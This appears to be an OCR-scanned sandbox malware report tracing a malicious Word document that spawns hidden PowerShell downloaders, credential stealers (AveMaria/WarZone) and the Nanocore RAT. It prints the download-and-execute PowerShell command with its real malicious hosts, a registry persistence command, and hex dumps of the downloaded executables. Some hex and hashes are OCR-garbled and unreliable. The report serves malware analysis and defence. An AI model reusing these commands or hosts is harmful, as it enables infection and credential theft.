00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 3d 00 00 Oa Oa 2b 00 06 2a 13 30 01 00
10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 3e 00 00 Oa Oa 2b 00 06 2a 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e 06
00 00 04 14 28 3f 00 00 Oa Ob 07 2¢ 21 72 01 00 00 70 dO 05 00 00 02 28 40 00 00 Oa 6f 41 00 00 Oa 73 42 00 00 Oa Oc
08 80 06 00 00 04 00 00 7e 06 00 00 04 Oa 2b 00 06 2a 13 30 01 00 Ob 00 00 00 07 00 00 11 00 7e 07 00 00 04 Oa 2b 00
06 2a 22 00 02 80 07 00 00 04 2a 13 30 03 00 26 00 00 00 08 00 00 11 00 28 Ob 00 00 06 72 3f 00 00 70 7e 07 00 00 04
6f 43 00 00 Oa 28 44 00 00 Oa Ob 07 74 25 00 00 01 Oa 2b 00 06 2a 92 73 10 00 00 06 28 45 00 00 Oa 74 06 00 00 02 80
08 00 00 04 73

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELFaP z; @@ @(;0@ ™ H.text' .rsrc@"@@.reloc’(@B\
;H WO(+(,(0-*(.(/(0(L(2*N(0(3*&(4*s556575859*0~0:+*0~0; +*0~0<+*0~0=+*0~0>+*0<~(?,!rp(@0ASB~+*0~+*"*0&(r?p~0C(D
t%+*s(Ets

Destination IP Destination Port Process

203.159.80.165 80 C:\ProgramData\images.exe
Data

GET /microC.exe HTTP/1.1

Accept: */*

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727;
.NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)

Host: hutyrtit.ydns.eu

Connection: Keep-Alive
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kBytes
Timestamp transferred Direction

Aug 2, 2021 2383 IN
11:00:29.667159081 CEST

Code Manipulations

Statistics

Behavior

)

Click to jump to process

System Behavior

Data

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Last-Modified: Mon, 02 Aug 2021 07:13:53 GMT

Accept-Ranges: bytes

ETag: "382415f36d87d71:0"

Server: Microsoft-11S/8.5

Date: Mon, 02 Aug 2021 09:00:29 GMT

Content-Length: 1378816

Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 Oe 1f ba Oe 00 b4 09 cd 21 b8 01
4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64
65 2e 0d 0d Oa 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 31 9b 07 61 00 00 00 00 00 00 00 00 e0 00 02 01 Ob 01
50 00 00 2e 14 00 00 da 00 00 00 00 00 00 06 4c 14 00 00 20 00 00 00 60 14 00 00 00 40 00 00 20 00 00 00 02 00 00 04
00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 15 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00
00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 b4 4b 14 00 4f 00 00 00 00 60 14 00 20 d6 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 15 00 Oc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08
00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 Oc 2c 14 00
00 20 00 00 00 2e 14 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 20 d6 00
00 00 60 14 00 00 d8 00 00 00 30 14 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6¢ 6f 63 00 00 Oc 00
00 00 00 40 15 00 00 02 00 00 00 08 15 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00O
00 00 00 00 00 00 00 e8 4b 14 00 00 00 00 00 48 00 00 00 02 00 05 00 90 30 01 00 64 ab 02 00 03 00 00 00 73 01 00 06
f4 db 03 00 c0 6f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
0 00 00 00 00 00 00 00 00 1e 02 28 1d 00 00 Oa 2a 26 00 02 28 1e 00 00 Oa 00 2a ce 73 1f 00 00 Oa 80 01 00 00 04 73 20
00 00 Oa 80 02 00 00 04 73 21 00 00 Oa 80 03 00 00 04 73 22 00 00 Oa 80 04 00 00 04 73 23 00 00 Oa 80 05 00 00 04 2a
00 00 13 30 01 00 10 00 00 00 01 00 00 11 00 7e 01 00 00 04 6f 24 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 02
00 00 11 00 7e 02 00 00 04 6f 25 00 00 Oa Oa 2b 00 06 2a 13 30 01 00 10 00 00 00 03 00 00 11 00 7e 03 00 00 04 6f 26
00 00 Oa 0a 2b 00 06 2a 13 30 01 00 10 00 00 00 04 00 00 11 00 7e 04 00 00 04 6f 27 00 00 Oa Oa 2b 00 06 2a 13 30 01
00 10 00 00 00 05 00 00 11 00 7e 05 00 00 04 6f 28 00 00 Oa Oa 2b 00 06 2a 13 30 02 00 3c 00 00 00 06 00 00 11 00 7e
06 00 00 04 14 28 29 00 00 Oa Ob 07 2c 21 72 01 00 00 70 dO 05 00 00 02 28 2a 00 00 Oa 6f 2b 00 00 Oa 73 2c 00 00 Oa
Oc 08 80 06 00 00 04 00 00 7e 06 00 00 04 Oa 2b 00 06 2a 13 30 01 00 Ob 00 00 00 07 00 00 11 00 7e 07 00 00 04 Oa 2b
00 06 2a 22 00 02 80 07 00 00 04 2a 13 30 03 00 26 00 00 00 08 00 00 11 00 28 09 00 00 06 72 31 00 00 70 7e 07 00 00O
04 6f 2d 00 00 Oa 28 2e 00 00 Oa Ob 07 74 24 00 00 01 Oa 2b 00 06 2a 00 00 13 30 03 00 26 00 00 00 08 00 00 11 00 28
09 00 00 06 72 37 00 00 70 7e 07 00 00 04 6f 2d 00 00 Oa 28 2e 00 00 Oa Ob 07 74 24 00 00 01 Oa 2b 00 06 2a 00 00 13 3
003 00 26 00 00 00 08 00 00 11 00 28 09 00 00 06 72 3f 00 00 70 7e 07 00 00 04 6f 2d 00 00 Oa 28 2e 00 00 Oa Ob 07 74
2400 00 01 0a 2b 00 06 2a 00 00 13 30 03 00 26 00 00 00 08 00 00 11 00 28 09 00 00 06 72 45 00 00 70 7e 07 00 00 04
6f 2d 00

Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL1aP.L '@ "@KO™ @ H.text, . ".rsrc ‘0@ @.reloc@@BK
HOdso(*&(*ss s!s"s#*0~0$+*0~0%+*0~0&+*0~0'+*0~0(+*0<~(),!rp(*0+s,~+*0~+*"*0&(r1p~0-(.t$+*0&(r7p~0-(.t$+*0&(r?p~0-
(.t$+*0&(rEp~o-

Analysis Process: WINWORD.EXE PID: 2604 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

Copyright Joe Security LLC 2021

10:59:37

02/08/2021

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

false

‘C:\Program Files\Microsoft Office\Office14\WINWORD.EXE' /Automation -Embedding
0x13f7d0000

1424032 bytes
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MDS5 hash: 95C38D04597050285A18F66039EDB456
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: high

File Activities Show Windows behavior

File Created

File Deleted

File Read

Registry Activities Show Windows behavior

Key Created

Key Value Created

Key Value Modified

Analysis Process: powershell.exe PID: 2396 Parent PID: 2604

General
Start time: 10:59:40
Start date: 02/08/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false
Commandline: ‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -Nonl -W Hidden -
ExecutionPolicy bypass -NoLogo -command ‘(New-Object System.Net.WebClient).Download
File(‘'httP://newhosteeeee.ydns.eu/putty.exe’,'C:\Users\user\AppData\Roaming\putty.exe"); St
art-Process 'C:\Users\user\AppData\Roaming\putty.exe"
Imagebase: 0x13f100000
File size: 473600 bytes
MD5 hash: 852D67A27E454BD389FA7F02A8CBE23F
Has elevated privileges: true
Has administrator privileges: true
Programmed in: .Net C# or VB.NET
Yara matches: e Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation
with suspicious parameters, Source:
00000003.00000002.2094462607.0000000000160000.00000004.00000020.sdmp,
Author: Florian Roth
Reputation: high
File Activities Show Windows behavior
File Created
File Written
File Read
Registry Activities Show Windows behavior

Analysis Process: FLTLDR.EXE PID: 3048 Parent PID: 2604

General
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Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

10:59:40

02/08/2021

C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE
false

'C:\Program Files\Common Files\Microsoft Shared\OFFICE14\FLTLDR.EXE' C:\Program
Files\Common Files\Microsoft Shared\GRPHFLT\PNG32.FLT

0x13f870000

157024 bytes
AF5CCD95BAC7ADADD56DE185D7461B2C
false

false

C, C++ or other language

Reputation: moderate
File Activities Show Windows behavior
File Read
Analysis Process: powershell.exe PID: 1068 Parent PID: 2604

General

Start time: 10:59:41

Start date: 02/08/2021

Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Wow64 process (32bit):

Commandline:

Imagebase:
File size:
MD5 hash:

Has elevated privileges:

Has administrator privileges:

Programmed in:

Yara matches:

false

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -Nonl -W Hidden -
ExecutionPolicy bypass -NoLogo -command ‘(New-Object System.Net.WebClient).Download
File('httP://newhosteeeee.ydns.eu/putty.exe’,'C:\Users\user\AppData\Roaming\putty.exe'); St
art-Process 'C:\Users\user\AppData\Roaming\putty.exe"

0x13f100000

473600 bytes
852D67A27E454BD389FA7F02A8CBE23F
true

true

.Net C# or VB.NET

e Rule: PowerShell_Susp_Parameter_Combo, Description: Detects PowerShell invocation
with suspicious parameters, Source:
00000006.00000002.2096261364.00000000002C0000.00000004.00000020.sdmp,
Author: Florian Roth

Reputation: high
File Activities Show Windows behavior
File Written
File Read
Analysis Process: powershell.exe PID: 3056 Parent PID: 2604
General
Start time: 10:59:41
Start date: 02/08/2021
Path: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit): false

Commandline:

Imagebase:

File size:

Copyright Joe Security LLC 2021

‘C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' -NoP -sta -Nonl -W Hidden -
ExecutionPolicy bypass -NoLogo -command '(New-Object System.Net.WebClient).Download
File('httP://newhosteeeee.ydns.eu/putty.exe’,'C:\Users\user\AppData\Roaming\putty.exe'); St
art-Process 'C:\Users\user\AppData\Roaming\putty.exe"

0x13f100000
473600 bytes
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MD5 hash:
Has elevated privileges: true
Has administrator privileges: true

Programmed in:

852D67A27E454BD389FA7TF02A8CBE23F

.Net C# or VB.NET

Reputation: high
File Activities Show Windows behavior
File Read
Analysis Process: putty.exe PID: 2952 Parent PID: 1068

General

Start time: 10:59:44

Start date: 02/08/2021

Path: C:\Users\user\AppData\Roaming\putty.exe

Wow64 process (32bit): true

Commandline:

‘C:\Users\user\AppData\Roaming\putty.exe’

Imagebase: 0x100000

File size: 731648 bytes

MD5 hash: OCFE251E0B61BBC87656F52DEFADACS3
Has elevated privileges: true

Has administrator privileges: true

Programmed in:

Yara matches: .

Net C# or VB.NET

Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000A.00000002.2119294130.0000000002637000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000A.00000002.2122718897.0000000003601000.00000004.00000001.sdmp,
Author: Joe Security

Reputation: low

File Activities

File Read

Registry Activities

Show Windows behavior

Show Windows behavior

Analysis Process: putty.exe PID: 2948 Parent PID: 3056

General

Start time:
Start date:
Path:

Wow64 process (32bit): true

10:59:44
02/08/2021
C:\Users\user\AppData\Roaming\putty.exe

Commandline: ‘C:\Users\user\AppData\Roaming\putty.exe'
Imagebase: 0x100000

File size: 731648 bytes

MD5 hash: OCFE251E0B61BBC87656F52DEFAD4CS53

Copyright Joe Security LLC 2021
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Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

true

true

.Net C# or VB.NET

.

Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000B.00000002.2119646724.00000000025F7000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000B.00000002.2123072051.00000000035C1000.00000004.00000001.sdmp,
Author: Joe Security

Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000B.00000002.2123072051.00000000035C1000.00000004.00000001.sdmp,
Author: Joe Security

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: putty.exe PID: 1492 Parent PID: 2948

General

Start time: 10:59:51

Start date: 02/08/2021

Path: C:\Users\user\AppData\Roaming\putty.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

false

C:\Users\user\AppData\Roaming\putty.exe

0x100000

731648 bytes
O0CFE251E0B61BBC87656F52DEFAD4C53

true

true

C, C++ or other language

Reputation: low
Analysis Process: putty.exe PID: 2308 Parent PID: 2952
General
Start time: 10:59:52
Start date: 02/08/2021
Path: C:\Users\user\AppData\Roaming\putty.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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true

C:\Users\user\AppData\Roaming\putty.exe
0x100000

731648 bytes
OCFE251E0B61BBC87656F52DEFADACS53

true

true

C, C++ or other language
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Yara matches: e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000D.00000003.2118755811.00000000005B6000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000D.00000003.2118755811.00000000005B6000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000D.00000003.2118971999.00000000005BD000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000D.00000003.2118971999.00000000005BD000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000D.00000003.2119027493.00000000005C3000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000D.00000003.2119027493.00000000005C3000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000D.00000003.2118869644.00000000005B6000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000D.00000003.2118869644.00000000005B6000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000D.00000003.2118769952.00000000005BD000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000D.00000003.2118769952.00000000005BD000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware,
Source:
0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp,
Author: Joe Security

e Rule: AveMaria_WarZone, Description: unknown, Source:
0000000D.00000002.2123143696.0000000000400000.00000040.00000001.sdmp,
Author: unknown

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000D.00000003.2118879592.00000000005BD000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000D.00000003.2118879592.00000000005BD000.00000004.00000001.sdmp,
Author: Joe Security

Reputation: low

File Activities Show Windows behavior

File Created

File Written

File Read

Registry Activities Show Windows behavior

Key Created

Key Value Created

Analysis Process: putty.exe PID: 2260 Parent PID: 2948

General
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Start time: 10:59:52

Start date: 02/08/2021

Path: C:\Users\user\AppData\Roaming\putty.exe
Wow64 process (32bit): false

Commandline: C:\Users\user\AppData\Roaming\putty.exe
Imagebase: 0x100000

File size: 731648 bytes

MDS5 hash: OCFE251E0B61BBC87656F52DEFADAC53
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Reputation: low

Analysis Process: putty.exe PID: 2428 Parent PID: 2948

General
Start time: 10:59:54
Start date: 02/08/2021
Path: C:\Users\user\AppData\Roaming\putty.exe
Wow64 process (32bit): true
Commandline: C:\Users\user\AppData\Roaming\putty.exe
Imagebase: 0x100000
File size: 731648 bytes
MD5 hash: 0CFE251E0B61BBC87656F52DEFADACS53
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware,
Source:
0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp,
Author: Florian Roth
e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp,
Author: Joe Security
e Rule: AveMaria_WarZone, Description: unknown, Source:
0000000F.00000002.2119927907.0000000000400000.00000040.00000001.sdmp,
Author: unknown
Reputation: low

Analysis Process: cmd.exe PID: 2156 Parent PID: 2308

General

Start time: 10:59:56

Start date: 02/08/2021

Path: C:\Windows\SysWOW64\cmd.exe

Wow64 process (32bit): true

Commandline: cmd.exe /c REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v
Load /t REG_SZ /d 'C:\ProgramData\images.exe'

Imagebase: 0x49d30000

File size: 302592 bytes

MD5 hash: AD7B9C14083B52BC532FBA5948342B98

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language
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Analysis Process: images.exe PID: 2168 Parent PID: 2308

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

10:59:56

02/08/2021
C:\ProgramDatalimages.exe
true

C:\ProgramData\images.exe

Imagebase: 0x1180000

File size: 731648 bytes

MD5 hash: O0CFE251E0B61BBC87656F52DEFAD4C53

Has elevated privileges: true

Has administrator privileges: true

Programmed in: .Net C# or VB.NET

Yara matches: e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source:
00000011.00000002.2139607287.0000000003911000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
00000011.00000002.2139607287.0000000003911000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AntiVM_3, Description: Yara detected AntiVM_3, Source:
00000011.00000002.2136747408.0000000002947000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,
Source:
00000011.00000002.2136747408.0000000002947000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
00000011.00000002.2136747408.0000000002947000.00000004.00000001.sdmp,
Author: Joe Security

‘ Analysis Process: reg.exe PID: 2400 Parent PID: 2156 ’

General

Start time: 10:59:57

Start date: 02/08/2021

Path: C:\Windows\SysWOW64\reg.exe

Wow64 process (32bit): true

Commandline: REG ADD 'HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows' /f /v Load /t
REG_SZ /d 'C:\ProgramData\images.exe'

Imagebase: 0xb50000

File size: 62464 bytes

MDS5 hash: D69A9ABBBOD795F21995C2F48C1EB560

Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: verclsid.exe PID: 1900 Parent PID: 2604

General

Start time: 11:00:00

Start date: 02/08/2021

Path: C:\Windows\System32\verclsid.exe

Wow64 process (32bit): false

Commandline: ‘C:\Windows\system32\verclsid.exe' /S /C {06290BD2-48AA-11D2-8432-006008C3FBFC} /I
{00000112-0000-0000-C000-000000000046} /X 0x5

Imagebase: 0xff8f0000

File size: 11776 bytes

MD5 hash: 3796AE13F680D9239210513EDA590E86
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Has elevated privileges: true
Has administrator privileges: true

Programmed in: C, C++ or other language

Analysis Process: images.exe PID: 2820 Parent PID: 2168

General

Start time: 11:00:02

Start date: 02/08/2021

Path: C:\ProgramData\images.exe

Wow64 process (32bit): true

Commandline: C:\ProgramData\images.exe

Imagebase: 0x1180000

File size: 731648 bytes

MD5 hash: OCFE251E0B61BBC87656F52DEFADACS3
Has elevated privileges: true

Has administrator privileges: true

Programmed in: C, C++ or other language

Yara matches: e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source:
00000015.00000003.2137169067.0000000000613000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:
00000015.00000003.2137169067.0000000000613000.00000004.00000001.sdmp,
Author: Joe Security

e Rule: MAL_Envrial_Jan18_1, Description: Detects Encrial credential stealer malware,
Source:
00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp,
Author: Florian Roth

e Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source:

00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp,

Author: Joe Security

Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:

00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp,

Author: Joe Security

Rule: AveMaria_WarZone, Description: unknown, Source:

00000015.00000002.2353065694.0000000000400000.00000040.00000001.sdmp,

Author: unknown

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source:

00000015.00000003.2137304291.0000000000607000.00000004.00000001.sdmp,

Author: Joe Security

Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:

00000015.00000003.2137304291.0000000000607000.00000004.00000001.sdmp,

Author: Joe Security

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source:

00000015.00000003.2137077371.0000000000603000.00000004.00000001.sdmp,

Author: Joe Security

Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:

00000015.00000003.2137077371.0000000000603000.00000004.00000001.sdmp,

Author: Joe Security

Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer,

Source:

00000015.00000003.2137213660.0000000000607000.00000004.00000001.sdmp,

Author: Joe Security

Rule: JoeSecurity_AveMaria, Description: Yara detected AveMaria stealer, Source:

00000015.00000003.2137213660.0000000000607000.00000004.00000001.sdmp,

Author: Joe Security

.

.

.

o

.

.

.

.

Analysis Process: notepad.exe PID: 2416 Parent PID: 2604

General

Start time: 11:00:02

Start date: 02/08/2021

Path: C:\Windows\System32\notepad.exe

Wow64 process (32bit): false

Commandline: ‘C:\Windows\system32\NOTEPAD.EXE' 'C:\Users\user\AppData\Local\Temp\abdtfhghgdghgh

.ScT
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

0xff1d0000

193536 bytes
B32189BDFF6E577A92BAA61AD49264E6
true

true

C, C++ or other language

Analysis Process: cmd.exe PID: 912 Parent PID: 2820

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:00:04

02/08/2021
C:\Windows\SysWOW64\cmd.exe

true

C:\Windows\System32\cmd.exe
0x4ab20000

302592 bytes
AD7B9C14083B52BC532FBA5948342B98
true

true

C, C++ or other language

Analysis Process: iBCrDCK.i.exe PID: 2340 Parent PID: 2820

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:00:16

02/08/2021
C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
true
‘C:\Users\user\AppData\Roaming\iBCrDCK.i.exe"
0xf50000

1378816 bytes
8FA8F52DFC55D341300EFF8E4C44BA33
true

true

.Net C# or VB.NET

‘ Analysis Process: drvinst.exe PID: 1464 Parent PID: 584

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:
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11:00:22

02/08/2021
C:\Windows\System32\drvinst.exe
false

Drvinst.exe '1' 200" 'UMB\UMB\1&841921d&0&TERMINPUT_BUS' " " '6e3bed883' '000
0000000000000' '000000000000059C" '0000000000000600"

0xff860000

102912 bytes
2DBA1472BDF847EAE358A4B9FA9ABOCL
true

true

C, C++ or other language
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Analysis Process: rdpdr.sys PID: 4 Parent PID: -1

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:00:22
02/08/2021
C:\Windows\System32\drivers\rdpdr.sys

false

0xff380000

165888 bytes
1B6163C503398B23FF8B939C67747683

C, C++ or other language

Analysis Process: tdtcp.sys PID: 4 Parent PID: -1

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:00:23
02/08/2021
C:\Windows\system32\drivers\tdtcp.sys

23552 bytes
51C5ECEB1CDEE2468A1748BE550CFBCS8

C, C++ or other language

Analysis Process: tssecsrv.sys PID: 4 Parent PID: -1

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:00:24
02/08/2021
C:\Windows\System32\DRIVERS\tssecstv.sys

39936 bytes
19BEDA57F3E0A06B8D5EB6D619BD5624

C, C++ or other language

Analysis Process: RDPWD.SYS PID: 4 Parent PID: -1

General

Start time:

Start date:

Path:

Wow64 process (32bit):

Commandline:
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11:00:24
02/08/2021
C:\Windows\System32\Drivers\RDPWD.SYS
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Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

212480 bytes
FE571E088C2D83619D2D48D4E961BF41

C, C++ or other language

Analysis Process: iBCrDCK.i.exe PID: 2260 Parent PID: 2340

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

11:00:37

02/08/2021
C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
false
C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
0xf50000

1378816 bytes
8FA8F52DFC55D341300EFF8E4C44BA33
true

true

C, C++ or other language

Analysis Process: iBCrDCK.i.exe PID: 2428 Parent PID: 2340

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:
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11:00:37

02/08/2021
C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
true
C:\Users\user\AppData\Roaming\iBCrDCK.i.exe
0xf50000

1378816 bytes
8FA8F52DFC55D341300EFF8E4C44BA33
true

true

.Net C# or VB.NET

e Rule: Nanocore_RAT_Gen_2, Description: Detetcs the Nanocore RAT, Source:
00000022.00000002.2354192632.0000000000AC0000.00000004.00000001.sdmp,
Author: Florian Roth

e Rule: Nanocore_RAT_Feb18_1, Description: Detects Nanocore RAT, Source:
